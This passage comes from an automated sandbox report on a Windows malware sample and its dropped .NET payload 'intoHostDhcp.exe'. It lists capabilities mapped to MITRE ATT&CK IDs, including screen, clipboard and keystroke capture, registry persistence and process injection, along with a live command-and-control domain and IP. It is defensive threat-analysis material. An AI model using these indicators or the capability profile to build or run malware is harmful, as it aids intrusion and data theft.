Parser","mitre_attack_id":"T1573.002","relevance":1,"id":"static-141","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"intoHostDhcp.exe\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.Aes\" and TypeReference \"Create\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Security.Cryptography.AesCryptoServiceProvider\" and TypeReference \".ctor\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Security.Cryptography.RijndaelManaged\" and TypeReference \".ctor\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$67","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$68","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information (Dotnet)","description":"Observed function \"get_SystemDirectory\" in \"intoHostDhcp.exe\"\n Observed function \"get_OSVersion\" in \"intoHostDhcp.exe\"\n Observed function \"get_Is64BitOperatingSystem\" in \"intoHostDhcp.exe\"\n Observed function \"get_MachineName\" in \"intoHostDhcp.exe\"\n Observed function \"get_UserName\" in \"intoHostDhcp.exe\"\n Observed function \"get_Version\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to get active window titles (Dotnet)","description":"Observed Namespace \"System.Diagnostics.Process\" and MemberReference \"get_MainWindowTitle\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1010","relevance":1,"id":"static-148","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve current user details (Dotnet)","description":"Observed Namespace \"System.Security.Principal.WindowsIdentity\" and MemberReference \"GetCurrent\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-152","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$69","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"cr94982.tw1.ru\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"92.53.96.121:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFile\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadData\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to execute application (Dotnet)","description":"Observed function \"set_UseShellExecute\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\BlockproviderComponentweb\\QGmdpYGOg.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\BlockproviderComponentweb\\QGmdpYGOg.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")\n Found string \":\\Windows\\System32\\cmd.exe /C \"%1\" %*\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00003744.00000002.200345.1CAE2000.00000004.mdmp\")\n Found string \":\\Windows\\System32\\cmd.exe /C \"%1\" %*\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003744.00000002.200345.1CAE2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read PEB structure (dword ptr fs:[00000030h]) (Offset: 158027)","origin":"Binary File","mitre_attack_id":"T1546.010","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"get_Attributes\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"GetAttributes\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetCreationTimeUtc\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetLastAccessTimeUtc\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetLastWriteTimeUtc\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetLastWriteTime\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"intoHostDhcp.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"DeleteValue\" in \"intoHostDhcp.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"CreateSubKey\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenBaseKey\" in \"intoHostDhcp.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"intoHostDhcp.exe\"\n Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"GetValue\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$6c","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$6d","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"intoHostDhcp.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" has an executable section named \".text\"\n \"intoHostDhcp.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" has an writable section named \".data\"\n \"18f5a3194d73e08d7d66b7a3b42568b3.exe\" has an writable section named \".didat\"\n \"intoHostDhcp.exe\" has an writable section named \".sdata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$6e","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x2cf200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x2cf174\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"WScript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"intoHostDhcp.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"dllhost.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001840)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"$70","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"intoHostDhcp.exe\" touched file \"C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\dllhost.exe\"\n \"intoHostDhcp.exe\" touched file \"C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\5940a34987c991\"\n \"intoHostDhcp.exe\" touched file \"C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\conhost.exe\"\n \"intoHostDhcp.exe\" touched file \"C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\088424020bedd6\"\n \"conhost.exe\" touched file \"C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\conhost.exe.config\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$71","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate via sockets (Dotnet)","description":"Observed Namespace \"System.Net.Sockets.TcpClient\" and MemberReference \".ctor\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \".ctor\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.Sockets.TcpClient\" and MemberReference \"get_Client\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"Send\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"SendTo\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1095","relevance":1,"id":"static-159","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \".ctor\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFile\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadData\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"get_Headers\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.HttpWebRequest\" and MemberReference \"set_UserAgent\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.HttpWebRequest\" and MemberReference \"set_CookieContainer\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Net.HttpWebRequest\" and MemberReference \"set_ReadWriteTimeout\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"intoHostDhcp.exe\"\n Observed namespace \"System.Net.Sockets\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"$72","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00003560\"\n YARA signature for AES encryption matched on process \"00000000-00003744\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"100731000\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"18f5a3194d73e08d7d66b7a3b42568b3.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"67176574\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"18f5a3194d73e08d7d66b7a3b42568b3.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"419498477\"\n \"cx\": \"527\"\n \"cy\": \"25\"}\n \"18f5a3194d73e08d7d66b7a3b42568b3.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1510016996\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"dllhost.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"939591798\"\n \"cx\": \"300\"\n \"cy\": \"30\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$73","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"CopyFromScreen\" (Indicator: \"CopyFromScreen\"; Source: \"00000000-00003744.00000001.200239.00F80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen information (Dotnet)","description":"Observed Namespace \"System.Windows.Forms::Screen\" and MemberReference \"get_AllScreens\" in \"intoHostDhcp.exe\"\n Observed Namespace \"System.Windows.Forms::Screen\" and MemberReference \"get_PrimaryScreen\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1113","relevance":1,"id":"static-164","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to collect clipboard information (Dotnet)","description":"Observed Namespace \"System.Windows.Forms::Clipboard\" and MemberReference \"GetText\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1056.001","relevance":1,"id":"static-163","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"GetProcessById\" in \"intoHostDhcp.exe\"\n Observed function \"get_ProcessName\" in \"intoHostDhcp.exe\"\n Observed function \"GetProcessesByName\" in \"intoHostDhcp.exe\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"72683452,2732,3024,,RtlGetVersion,NTDLL.dll,\"252:39:35.139\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001512.00000000.207830.00DB0000.00000004.mdmp\")\n Found reference to API \"3024,,RtlGetVersion,NTDLL.dl\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003560.00000000.197464.009EE000.00000004.mdmp\")\n Found reference to API \"11457637338,3264,3024,,RtlGetVersion,NTDLL.dll,\"252:39:07.333\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003744.00000000.198316.1C990000.00000004.mdmp\")\n Found reference to API \"75959972280,3160,3024,,RtlGetVersion,NTDLL.dll,\"253:39:14.912\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003744.00000001.200239.1CABF000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")\n Found reference to API \"MapVirtualKey\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00003744.00000001.200239.006E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003744.00000001.200239.00470000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve type of COM object","description":"Found string \"GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; Source: \"00000000-00003744.00000001.200239.00F90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-569","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00003744.00000001.200239.00550000.00000004.mdmp, 00000000-00003744.00000002.200345.02840000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"18f5a3194d73e08d7d66b7a3b42568b3.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00003560.00000000.197464.008F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 18f5a3194d73e08d7d66b7a3b42568b3.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"18f5a3194d73e08d7d66b7a3b42568b3.exe\" (Access type: 